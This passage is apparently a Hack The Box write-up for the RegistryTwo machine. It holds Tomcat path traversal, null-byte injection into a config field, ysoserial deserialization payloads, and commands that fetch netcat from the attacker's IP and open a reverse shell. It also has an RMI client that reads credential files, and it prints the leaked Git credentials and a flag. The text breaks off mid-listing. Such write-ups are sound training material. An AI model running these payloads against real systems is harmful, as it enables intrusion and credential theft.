@GeneratedValue(<br>      generator = &quot;UUID&quot;<br>   )<br>   @GenericGenerator(<br>      name = &quot;UUID&quot;,<br>      strategy = &quot;org.hibernate.id.UUIDGenerator&quot;<br>   )<br>   @Column(<br>      name = &quot;id&quot;<br>   )<br>   protected UUID id;<br>   @Column(<br>      name = &quot;nickname&quot;<br>   )<br>   protected String nickname;<br>   @Column(<br>      name = &quot;email&quot;<br>   )<br>   protected String email;<br>   @Column(<br>      name = &quot;password_hash&quot;<br>   )<br>   protected String password;<br>   @Column(<br>      name = &quot;role&quot;<br>   )<br>   protected String role;<br>   @OneToMany(<br>      mappedBy = &quot;user&quot;,<br>      fetch = FetchType.EAGER<br>   )<br>   protected List&lt;Domain&gt; domains;<br><br>   public String toString() {<br>      return this.nickname;<br>   }<br>   ..........<br>   public int hashCode() {<br>      int PRIME = true;<br>      int result = 1;<br>      Object $id = this.getId();<br>      result = result * 59 + ($id == null ? 43 : $id.hashCode());<br>      Object $nickname = this.getNickname();<br>      result = result * 59 + ($nickname == null ? 43 : $nickname.hashCode());<br>      Object $email = this.getEmail();<br>      result = result * 59 + ($email == null ? 43 : $email.hashCode());<br>      Object $password = this.getPassword();<br>      result = result * 59 + ($password == null ? 43 : $password.hashCode());<br>      Object $role = this.getRole();<br>      result = result * 59 + ($role == null ? 43 : $role.hashCode());<br>      Object $domains = this.getDomains();<br>      result = result * 59 + ($domains == null ? 43 : $domains.hashCode());<br>      return result;<br>   }<br>}</pre><h4>Tomcat Path Traversal</h4><p>So if the web application is hosted on Tomcat server, we can try to access the protected directories in Tomcat using the path /..;/.</p><p>HackTricks also notes that on this page <a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat">https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat</a></p><p>So lets test it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/0*UD2Of5hnVCcpK0UU" /></figure><p>This is actually good because we didn’t get an error, now we should find the endpoint we want and hopefully by requesting it we will see a page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BEu8cETQ9oYZub-m" /></figure><p>So now we have the login.html from the tomcat examples, I found this endpoint on HackTricks. There is a list of examples that come with Apache Tomcat and we took a random path and the result was successful!</p><pre>/examples/jsp/num/numguess.jsp<br>/examples/jsp/dates/date.jsp<br>/examples/jsp/snp/snoop.jsp<br>/examples/jsp/error/error.html<br>/examples/jsp/sessions/carts.html<br>/examples/jsp/checkbox/check.html<br>/examples/jsp/colors/colors.html<br>/examples/jsp/cal/login.html<br>/examples/jsp/include/include.jsp<br>/examples/jsp/forward/forward.jsp<br>/examples/jsp/plugin/plugin.jsp<br>/examples/jsp/jsptoserv/jsptoservlet.jsp<br>/examples/jsp/simpletag/foo.jsp<br>/examples/jsp/mail/sendmail.jsp<br>/examples/servlet/HelloWorldExample<br>/examples/servlet/RequestInfoExample<br>/examples/servlet/RequestHeaderExample<br>/examples/servlet/RequestParamExample<br>/examples/servlet/CookieExample<br>/examples/servlet/JndiServlet<br>/examples/servlet/SessionExample<br>/tomcat-docs/appdev/sample/web/hello.jsp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/0*AAKE4wFeynIQF4bL" /></figure><p>Unfortunately, we got a 404 error when we requested the SessionExample servlet. But that’s okay, we can easily fix that. Since we have the clone of the machine that is running, we can find the problem.</p><p>So I just greped for servlet and found that the path that is on the server is a bit different than what we used.</p><pre>&lt;servlet-mapping&gt;                <br>    &lt;servlet-name&gt;RequestHeaderExample&lt;/servlet-name&gt;<br>    &lt;url-pattern&gt;/servlets/servlet/RequestHeaderExample&lt;/url-pattern&gt;<br>&lt;/servlet-mapping&gt;</pre><p>You can find more examples in the WEB-INF/web.xml file. Here are all the endpoints we have.</p><h3>Initial Access</h3><h4>Shell as app (docker)</h4><p>From customer to manager</p><p>Now let us try again and see if we can reach this page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/0*Jl0AO0pqD20zhKHb" /></figure><p>Kaboom, we got it. Great, now lets see what we can do with this access.</p><pre>┌──(ar0x㉿kali)-[~/…/usr/local/tomcat/webapps]<br>└─$ grep -iR &#39;s_DisplayLoggedInUsernameSafe&#39;<br>grep: WEB-INF/classes/com/htb/hosting/services/AuthenticationServlet.class: binary file matches<br>grep: WEB-INF/classes/com/htb/hosting/services/ProfileServlet.class: binary file matches<br>grep: WEB-INF/classes/com/htb/hosting/utils/Constants.class: binary file match[[es]]</pre><p>And I found the following class in WEB-INF/classes/com/htb/hosting/utils/Constants.class.</p><pre>public interface Constants {<br>   String S_USER_ID = &quot;s_LoggedInUserUUID&quot;;<br>   String S_USER_NAME = &quot;s_DisplayLoggedInUsernameSafe&quot;;<br>   String S_IS_USER_ROLE_MGR = &quot;s_IsLoggedInUserRoleManager&quot;;<br>   String SAFE_FILE = &quot;safeFile&quot;;<br>   String BASE_DIR = &quot;baseDir&quot;;<br>   String EDIT_FILE = &quot;editFile&quot;;<br>   String SELECTED_DOMAIN = &quot;domain&quot;;<br>   String CREATE_DOMAIN = &quot;new&quot;;<br>   String ROLE_MGR = &quot;manager&quot;;<br>   String ROLE_CUSTOMER = &quot;customer&quot;;<br>   String KEY_MAX_DOMAINS = &quot;domains.max&quot;;<br>   String KEY_DOMAIN_TEMPLATE = &quot;domains.start-template&quot;;<br>   File SETTINGS_FILE = new File(&quot;/etc/hosting.ini&quot;);<br>}</pre><p>So no when we set the s_IsLoggedInUserRoleManager role to true we should access additional features probably.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/0*YiGoFDg4yXwwrIyH" /></figure><p>So now we can see if anything has change in the web app !!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/0*BJtL5F-8Yid4o6yT" /></figure><p>Yea we got the Configuration section, thats new !!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/0*WFpGhbPfKTZ7nuT3" /></figure><p>Nice !!!</p><p>Modify hosting.ini configuration</p><p>Did you notice something ?????</p><p>Exactly the same message, &lt;h1&gt;It works!&lt;/h1&gt; was in the hosting.ini file, and when you click on save changes you get the following message Settings updated, so it might be that this new feature we are accessing again can override things in the hosting.ini file.</p><p>So I changed the It works! message to Amogus now lets see the result. Now when we create a new page it should be created with Amogus and not with It works!.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sgUvwo5h-l9aynym" /></figure><p>Great, it worked !! So now how can we abuse that ????</p><pre>POST /hosting/reconfigure HTTP/1.1<br>Host: www.webhosting.htb<br>Cookie: JSESSIONID=434656A966EE4443201F34C61DC8F39B<br>Content-Length: 102<br>Cache-Control: max-age=0<br>Sec-Ch-Ua: &quot;Chromium&quot;;v=&quot;119&quot;, &quot;Not?A_Brand&quot;;v=&quot;24&quot;<br>Sec-Ch-Ua-Mobile: ?0<br>Sec-Ch-Ua-Platform: &quot;Linux&quot;<br>Upgrade-Insecure-Requests: 1<br>Origin: https://www.webhosting.htb<br>Content-Type: application/x-www-form-urlencoded<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7<br>Sec-Fetch-Site: same-origin<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-User: ?1<br>Sec-Fetch-Dest: document<br>Referer: https://www.webhosting.htb/hosting/reconfigure<br>Accept-Encoding: gzip, deflate, br<br>Accept-Language: en-US,en;q=0.9<br>Priority: u=0, i<br>Connection: close</pre><pre>domains.max=5&amp;domains.start-template=%3Cbody%3E%0D%0A%3Ch1%3EIt+works%21%3C%2Fh1%3E%0D%0A%3C%2Fbody%3E</pre><p>Rabbit Hole</p><p>The names of the fields are identical to those we have in our hosting.ini file. This means that we can just change any file we want. We can write the address of our mysql server and the web application will store the data in <strong>OUR MYSQL SERVER</strong> and if we are lucky we can capture the credentials.</p><pre>// Source code is decompiled from a .class file using FernFlower decompiler.<br>package com.htb.hosting.utils;<br>import com.htb.hosting.model.Domain;<br>import com.htb.hosting.model.User;<br>import com.htb.hosting.utils.config.Settings;<br>import java.util.Properties;<br>import org.hibernate.Session;<br>import org.hibernate.SessionFactory;<br>import org.hibernate.boot.registry.StandardServiceRegistryBuilder;<br>import org.hibernate.cfg.Configuration;<br>import org.hibernate.service.ServiceRegistry;<br>public class HibernateUtil {<br>   private static SessionFactory sessionFactory;<br>   public HibernateUtil() {<br>   }<br>   public static void main(String[] args) {<br>      reload();<br>   }<br>   private static SessionFactory getSessionFactory() {<br>      return sessionFactory == null ? reload() : sessionFactory;<br>   }<br>   public static Session getSession() {<br>      return getSessionFactory().openSession();<br>   }<br>   public static SessionFactory reload() {<br>      Configuration configuration = new Configuration();<br>      Properties settings = new Properties();<br>      settings.put(&quot;hibernate.connection.driver_class&quot;, &quot;com.mysql.cj.jdbc.Driver&quot;);<br>      settings.put(&quot;hibernate.connection.url&quot;, String.format(&quot;jdbc:mysql://%s:%d/%s?allowPublicKeyRetrieval=true&amp;useSSL=false&amp;serverTimezone=Europe/Rome&quot;, Settings.get(String.class, &quot;mysql.host&quot;, &quot;db&quot;), Settings.get(Integer.class, &quot;mysql.port&quot;, 3306), Settings.get(String.class, &quot;mysql.database&quot;, &quot;hosting&quot;)));<br>      settings.put(&quot;hibernate.connection.username&quot;, Settings.get(String.class, &quot;mysql.user&quot;, &quot;root&quot;));<br>      settings.put(&quot;hibernate.connection.password&quot;, Settings.get(String.class, &quot;mysql.password&quot;, &quot;&quot;));<br>      settings.put(&quot;hibernate.dialect&quot;, &quot;org.hibernate.dialect.MySQL5Dialect&quot;);<br>      settings.put(&quot;hibernate.show_sql&quot;, &quot;true&quot;);<br>      settings.put(&quot;hibernate.current_session_context_class&quot;, &quot;thread&quot;);<br>      configuration.setProperties(settings);<br>      configuration.addAnnotatedClass(User.class);<br>      configuration.addAnnotatedClass(Domain.class);<br>      ServiceRegistry serviceRegistry = (new StandardServiceRegistryBuilder()).applySettings(configuration.getProperties()).build();<br>      if (sessionFactory != null) {<br>         try {<br>            sessionFactory.close();<br>         } catch (Exception var4) {<br>         }<br>      }<br>      sessionFactory = configuration.buildSessionFactory(serviceRegistry);<br>      return sessionFactory;<br>   }<br>}</pre><pre>POST /hosting/reconfigure HTTP/1.1<br>Host: www.webhosting.htb<br>Cookie: JSESSIONID=434656A966EE4443201F34C61DC8F39B<br>Content-Length: 102<br>Cache-Control: max-age=0<br>Sec-Ch-Ua: &quot;Chromium&quot;;v=&quot;119&quot;, &quot;Not?A_Brand&quot;;v=&quot;24&quot;<br>Sec-Ch-Ua-Mobile: ?0<br>Sec-Ch-Ua-Platform: &quot;Linux&quot;<br>Upgrade-Insecure-Requests: 1<br>Origin: https://www.webhosting.htb<br>Content-Type: application/x-www-form-urlencoded<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7<br>Sec-Fetch-Site: same-origin<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-User: ?1<br>Sec-Fetch-Dest: document<br>Referer: https://www.webhosting.htb/hosting/reconfigure<br>Accept-Encoding: gzip, deflate, br<br>Accept-Language: en-US,en;q=0.9<br>Priority: u=0, i<br>Connection: close</pre><pre>mysql.user=root&amp;mysql.password=pass&amp;mysql.host=10.10.14.81&amp;domains.max=2</pre><p>So after spending a lot of time on this idea (redirecting mysql server to kali and capturing the credential) i found out that this is just a mean rabbit hole 😡</p><h4>Rouge RMI Exploit</h4><pre>/*<br> * Decompiled with CFR 0.144.<br> */<br>package com.htb.hosting.rmi;<br>import com.htb.hosting.rmi.FileService;<br>import com.htb.hosting.utils.config.Settings;<br>import java.rmi.Remote;<br>import java.rmi.registry.LocateRegistry;<br>import java.rmi.registry.Registry;<br>import java.util.logging.Logger;<br>public class RMIClientWrapper {<br>    private static final Logger log = Logger.getLogger(RMIClientWrapper.class.getSimpleName());<br>    public static FileService get() {<br>        try {<br>            String rmiHost = Settings.get(String.class, &quot;rmi.host&quot;, null);<br>            if (!rmiHost.contains(&quot;.htb&quot;)) {<br>                rmiHost = &quot;registry.webhosting.htb&quot;;<br>            }<br>            System.setProperty(&quot;java.rmi.server.hostname&quot;, rmiHost);<br>            System.setProperty(&quot;com.sun.management.jmxremote.rmi.port&quot;, &quot;9002&quot;);<br>            log.info(String.format(&quot;Connecting to %s:%d&quot;, rmiHost, Settings.get(Integer.class, &quot;rmi.port&quot;, 9999)));<br>            Registry registry = LocateRegistry.getRegistry(rmiHost, Settings.get(Integer.class, &quot;rmi.port&quot;, 9999));<br>            return (FileService)registry.lookup(&quot;FileService&quot;);<br>        }<br>        catch (Exception e) {<br>            e.printStackTrace();<br>            throw new RuntimeException(e);<br>        }<br>    }<br>}<br>if (!rmiHost.contains(&quot;.htb&quot;)) {<br>    rmiHost = &quot;registry.webhosting.htb&quot;;<br>}</pre><p>So the next thing we could change was the rmi.host, but we had a problem here. The problem was that we had an if statement in the code that checked if the rmi.host ended in .htb or not. If it was and the host ended in .htb then all was well, but if it was not then the web application would set the static value registry.webhosting.htb for the rmi.host .</p><p>To bypass the if condition we could try to add %00.htb at the end our rmi.host address and see if we can bypass this condition with NULL Bytes.</p><pre>POST /hosting/reconfigure HTTP/1.1<br>Host: www.webhosting.htb<br>Cookie: JSESSIONID=328D08DA7809D453387E751CF2B6C088<br>Content-Length: 102<br>Cache-Control: max-age=0<br>Sec-Ch-Ua: &quot;Chromium&quot;;v=&quot;119&quot;, &quot;Not?A_Brand&quot;;v=&quot;24&quot;<br>Sec-Ch-Ua-Mobile: ?0<br>Sec-Ch-Ua-Platform: &quot;Linux&quot;<br>Upgrade-Insecure-Requests: 1<br>Origin: https://www.webhosting.htb<br>Content-Type: application/x-www-form-urlencoded<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7<br>Sec-Fetch-Site: same-origin<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-User: ?1<br>Sec-Fetch-Dest: document<br>Referer: https://www.webhosting.htb/hosting/reconfigure<br>Accept-Encoding: gzip, deflate, br<br>Accept-Language: en-US,en;q=0.9<br>Priority: u=0, i<br>Connection: close</pre><pre>domains.max=10&amp;rmi.host=10.10.14.81%00.htb</pre><p>Here we started the JRMPListener module from ysoserial, and as payload I took CommonsCollections5. TBH I dont really know why CommonsCollections5 works, but it does. I just tested all modules until one of CommonsCollections5 worked.</p><pre>┌──(ar0x㉿kali)-[~/Downloads]<br>└─$ java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9002 CommonsCollections5 &#39;wget 10.10.14.81&#39;    <br>Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true<br>* Opening JRMP listener on 9002<br>Have connection from /10.129.229.28:36058<br>Reading message...<br>Sending return with payload for obj [0:0:0, 0]<br>Closing connection</pre><p><em>Note:</em> If you get an error that you are not able to run ysoserial-all.jar, changing the version of your java will help to solve this problem.</p><pre>sudo update-alternatives --config java</pre><p>Now that our rouge RMI server is up and running, we should just make an interaction, e.g. create a new domain, to trigger the web application to make a request to our rouge RMI server.</p><pre>title: RMI (Remote Method Invocation)</pre><pre>Remote Method Invocation (RMI) is an application programming interface (API) in the Java programming language and development environment. It allows objects on one computer or Java Virtual Machine (JVM) to interact with objects running on a different JVM in a distributed network. Another way to say this is that RMI provides a way to create distributed Java applications through simple method calls.</pre><p>Oh, we got a callback from the server, that’s great, now let’s try to get a reverse shell on the server (we would probably end up in the hosting application’s docker container and not the host machine!)</p><pre>┌──(ar0x㉿kali)-[~]<br>└─$ nc -lvnp 80  <br>listening on [any] 80 ...<br>connect to [10.10.14.81] from (UNKNOWN) [10.129.229.28] 33348<br>GET / HTTP/1.1<br>Host: 10.10.14.81<br>User-Agent: Wget<br>Connection: close</pre><p>Now the same step for the reverse shell !!!</p><pre>java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9002 CommonsCollections5 &#39;wget 10.10.14.108/nc -O /tmp/nc&#39;<br>java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9002 CommonsCollections5 &#39;chmod +x /tmp/nc&#39;<br>java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9002 CommonsCollections5 &#39;/tmp/nc 10.10.14.108 4444 -e sh&#39;</pre><p>Unfortunately, for some reason, it was not possible to execute these three commands in a row, and it forced me to do this three times separately, and the bash/sh reverse shell did not work either.</p><p>And Kaboom, finally we got a shell on the docker container !!</p><pre>┌──(ar0x㉿kali)-[~]<br>└─$ nc -lvnp 4444<br>listening on [any] 4444 ...<br>connect to [10.10.14.81] from (UNKNOWN) [10.129.229.28] 59630</pre><h4>Docker Enumeration</h4><p>I couldn’t find anything important in the container but we can see that port 9002 is running on this server and its listening for requests.</p><pre>╔══════════╣ Active Ports<br>╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports<br>tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -<br>tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      -<br>tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      -<br>tcp        0      0 0.0.0.0:5001            0.0.0.0:*               LISTEN      -<br>tcp        0      0 0.0.0.0:3310            0.0.0.0:*               LISTEN      -<br>tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -<br>tcp        0      0 :::22                   :::*                    LISTEN      -<br>tcp        0      0 :::34519                :::*                    LISTEN      -<br>tcp        0      0 :::443                  :::*                    LISTEN      -<br>tcp        0      0 ::ffff:127.0.0.1:8005   :::*                    LISTEN      1/java<br>tcp        0      0 :::5000                 :::*                    LISTEN      -<br>tcp        0      0 :::8009                 :::*                    LISTEN      1/java<br>tcp        0      0 :::5001                 :::*                    LISTEN      -<br>tcp        0      0 :::9002                 :::*                    LISTEN      -<br>tcp        0      0 :::3306                 :::*                    LISTEN      -<br>tcp        0      0 :::3310                 :::*                    LISTEN      -<br>tcp        0      0 :::8080                 :::*                    LISTEN      1/java</pre><p>Port 9002 is open and there is no fingerprint of the RMI server, so the RMI server is probably on the host system. We can make a SOCKS tunnel with chisel to this network and try to access this service via proxychains.</p><h4>Creating my own RMI Client</h4><p>So here we can see the structure of the RMIClient, if you want to build this, please pay attention to the folder structure, it should have the same structure otherwise you will get weird Java errors.</p><pre>┌──(ar0x㉿kali)-[~/…/HTB/Machines/RegistryTwo/RMIClientTest]<br>└─$ tree<br>└── src<br>    ├── com<br>    │   └── htb<br>    │       └── hosting<br>    │           └── rmi<br>    │               ├── AbstractFile.class<br>    │               ├── AbstractFile.java<br>    │               ├── FileService.class<br>    │               ├── FileService.java<br>    │               ├── RMIClientWrapper.class<br>    │               └── RMIClientWrapper.java<br>    ├── Main.class<br>    ├── Main.java<br>    └── runner.s<br>6 directories, 9 files</pre><p>The RMIClientWrapper, FileService and AbstractFile do not need any changes, I just created a new Main.java and wrote some extra methods like DirectoryListing, PrintFile, CreateDomain(These are actually wrappers) and so on for it. All these methods use the RMIClientWrapper to communicate with the RMI server.</p><p>So i just created a new domain to get a fresh vhost name, and i just inserted the new value into the called methods.</p><pre>import com.htb.hosting.rmi.AbstractFile;<br>import com.htb.hosting.rmi.RMIClientWrapper;<br>import java.nio.charset.StandardCharsets;<br>import java.util.List;<br>public class Main {<br>    public static void main(String[] args) {<br>        try<br>        {<br>            DirectoryListing(&quot;366ceb957b0c&quot;, &quot;../../../home/developer&quot;);<br>            PrintFile(&quot;366ceb957b0c&quot;, &quot;../../../home/developer/.git-credentials&quot;);<br>        }<br>        catch (Exception ex){<br>            System.err.println(&quot;Something went wrong !!&quot;);<br>            System.err.println(ex.getMessage());<br>        }<br>    }<br>    public static void PrintFile(String vhost, String filePath){<br>        try {<br>            byte[] bytes = RMIClientWrapper.get().view(vhost, filePath);<br>            String content = new String(bytes, StandardCharsets.UTF_8);<br>            System.out.println(content);<br>        } catch (Exception e) {<br>            System.err.println(e.getMessage());<br>        }<br>    }<br>    public static boolean UploadFile(String vhost, String filePath, String content){<br>        try {<br>            AbstractFile remoteFile = RMIClientWrapper.get().getFile(vhost, filePath);<br>            return RMIClientWrapper.get().uploadFile(vhost, remoteFile.getAbsolutePath(), content.getBytes());<br>        } catch (Exception e) {<br>            System.err.println(e.getMessage());<br>        }<br>        return false;<br>    }<br>    public static void DirectoryListing(String vhost, String filePath){<br>        try {<br>            List&lt;AbstractFile&gt; files = RMIClientWrapper.get().list(vhost, filePath);<br>            for (AbstractFile file : files) {<br>                System.out.println(file.getName());<br>            }<br>        } catch (Exception e) {<br>            System.err.println(e.getMessage());<br>        }<br>    }<br>    public static boolean CreateDomain(String domain){<br>        try {<br>            return RMIClientWrapper.get().newDomain(domain);<br>        } catch (Exception e) {<br>            System.err.println(e.getMessage());<br>        }<br>        return false;<br>    }<br>    public static boolean CreateDir(String vhost, String filePath){<br>        try {<br>            AbstractFile remoteFile = RMIClientWrapper.get().getFile(vhost, filePath);<br>            return RMIClientWrapper.get().createDirectory(vhost, remoteFile.getAbsolutePath());<br>        } catch (Exception e) {<br>            System.err.println(e.getMessage());<br>        }<br>        return false;<br>    }<br>}</pre><p>During development I had to clean up the *.class files and rebuild the java files, so I wrote a small script that does that and additionally runs the main program with proxychains.</p><pre>rm -rf com/htb/hosting/rmi/*.class<br>rm -rf *.class<br>javac Main.java com/htb/hosting/rmi/* -d .<br>proxychains -q java Main</pre><p>The PrintFile method successfuly printed the content of /etc/passwd</p><pre>┌──(ar0x㉿kali)-[~/…/Machines/RegistryTwo/RMIClientTest/src]<br>└─$ ./runner.sh<br>Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true<br>Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true<br>Dec 02, 2023 9:36:07 AM com.htb.hosting.rmi.RMIClientWrapper get<br>INFO: Connecting to registry.webhosting.htb:9002<br>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br>sync:x:4:65534:sync:/bin:/bin/sync<br>games:x:5:60:games:/usr/games:/usr/sbin/nologin<br>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin<br>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin<br>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br>systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin<br>systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin<br>syslog:x:102:106::/home/syslog:/usr/sbin/nologin<br>messagebus:x:103:107::/nonexistent:/usr/sbin/nologin<br>_apt:x:104:65534::/nonexistent:/usr/sbin/nologin<br>lxd:x:105:65534::/var/lib/lxd/:/bin/false<br>uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin<br>dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin<br>landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin<br>pollinate:x:109:1::/var/cache/pollinate:/bin/false<br>sshd:x:110:65534::/run/sshd:/usr/sbin/nologin<br>clamav:x:111:113::/var/lib/clamav:/bin/false<br>rmi-service:x:999:998::/home/rmi-service:/bin/false<br>developer:x:1001:1001:,,,:/home/developer:/bin/bash<br>_laurel:x:998:997::/var/log/laurel:/bin/false</pre><p>Now lets try to read the homedirectroy of the user developer !!</p><pre>┌──(ar0x㉿kali)-[~/…/Machines/RegistryTwo/RMIClientTest/src]<br>└─$ ./runner.sh<br>Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true<br>Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true<br>Dec 02, 2023 9:34:44 AM com.htb.hosting.rmi.RMIClientWrapper get<br>INFO: Connecting to registry.webhosting.htb:9002<br>home<br>.cache<br>.bash_logout<br>.bashrc<br>.bash_history<br>.git-credentials<br>user.txt<br>.gnupg<br>.profile<br>.vimrc</pre><p>Oh, i guess we found something. .git-credentials thats great, lets print this shit and see what we can do with it.</p><pre>┌──(ar0x㉿kali)-[~/…/Machines/RegistryTwo/RMIClientTest/src]<br>└─$ ./runner.sh<br>Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true<br>Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true<br>Dec 02, 2023 9:41:46 AM com.htb.hosting.rmi.RMIClientWrapper get<br>INFO: Connecting to registry.webhosting.htb:9002<br>https://irogir:qybWiMTRg0sIHz4beSTUzrVIl7t3YsCj9@github.com</pre><p>Nice we got creds for irgoir/developer</p><pre>irogir:qybWiMTRg0sIHz4beSTUzrVIl7t3YsCj9</pre><p>Now its easy lets ssh to the box with found Creds. Fuck yea, finally we got a shell on the host system and of course the user flag.</p><pre>┌──(ar0x㉿kali)-[~/…/usr/local/tomcat/webapps]<br>└─$ ssh developer@webhosting.htb<br>developer@webhosting.htb&#39;s password: <br>Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-213-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage<br><br>  System information as of Sat Dec  2 09:43:54 UTC 2023<br><br>  System load:  0.08              Users logged in:                0<br>  Usage of /:   76.2% of 7.71GB   IP address for eth0:            10.129.229.28<br>  Memory usage: 60%               IP address for br-59a3a780b7b3: 172.19.0.1<br>  Swap usage:   0%                IP address for docker0:         172.17.0.1<br>  Processes:    241<br><br>  =&gt; There are 48 zombie processes.<br><br><br>Expanded Security Maintenance for Infrastructure is not enabled.<br><br>0 updates can be applied immediately.<br><br>28 additional security updates can be applied with ESM Infra.<br>Learn more about enabling ESM Infra service for Ubuntu 18.04 at<br>https://ubuntu.com/18-04<br><br><br>Last login: Mon Jul 17 12:11:10 2023 from 10.10.14.23<br>developer@registry:~$ cat user.txt <br>6e15baf80de579ae4c7f8942acfe7273</pre><h3>Privilege Escalation</h3><h4>Shell as root</h4><p>Host enumeration</p><p>In /opt i found the registry.jar file and i guess thats the server that we are dealing with.</p><p>So lets check the source code and make sure that this is the server code, and what can find in it.</p><pre>developer@registry:/opt$ ls -la<br>total 28<br>drwxr-xr-x  3 root root  4096 Jul  5 07:43 .<br>drwxr-xr-x 26 root root  4096 Jul  5 07:43 ..<br>drwx--x--x  4 root root  4096 Jul  5 07:43 containerd<br>-rwxr-xr-x  1 root root 15343 Feb  2  2023 registry.jar</pre><p>I downloaded the registry.jar file and unzipped it. So lets take a look at the file structure.</p><pre>┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/RegistryTwo]<br>└─$ sshpass -p &#39;qybWiMTRg0sIHz4beSTUzrVIl7t3YsCj9&#39; scp developer@webhosting.htb:/opt/registry.jar</pre><pre>┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/RegistryTwo]<br>└─$ mkdir registry; unzip registry.jar -d registry             <br>Archive:  registry.jar<br>   creating: registry/META-INF/<br>  inflating: registry/META-INF/MANIFEST.MF  <br>   creating: registry/com/<br>   creating: registry/com/htb/<br>   creating: registry/com/htb/hosting/<br>   creating: registry/com/htb/hosting/rmi/<br>   creating: registry/com/htb/hosting/rmi/utils/<br>   creating: registry/com/htb/hosting/rmi/quarantine/<br>  inflating: registry/com/htb/hosting/rmi/FileService.class  <br>  inflating: registry/com/htb/hosting/rmi/Server.class  <br>  inflating: registry/com/htb/hosting/rmi/utils/CryptUtil.class  <br>  inflating: registry/com/htb/hosting/rmi/utils/FileUtil.class  <br>  inflating: registry/com/htb/hosting/rmi/utils/StringUtil.class  <br>  inflating: registry/com/htb/hosting/rmi/FileServiceImpl.class  <br>  inflating: registry/com/htb/hosting/rmi/AbstractFile.class  <br>  inflating: registry/com/htb/hosting/rmi/FileServiceConstants.class  <br>  inflating: registry/com/htb/hosting/rmi/quarantine/QuarantineConfiguration.class  <br>  inflating: registry/com/htb/hosting/rmi/quarantine/QuarantineService.class  <br>  inflating: registry/com/htb/hosting/rmi/quarantine/QuarantineServiceImpl.class</pre><pre>┌──(ar0x㉿kali)-[~/…/HTB/Machines/RegistryTwo/registry]<br>└─$ tree    <br>.<br>├── com<br>│   └── htb<br>│       └── hosting<br>│           └── rmi<br>│               ├── AbstractFile.class<br>│               ├── FileService.class<br>│               ├── FileServiceConstants.class<br>│               ├── 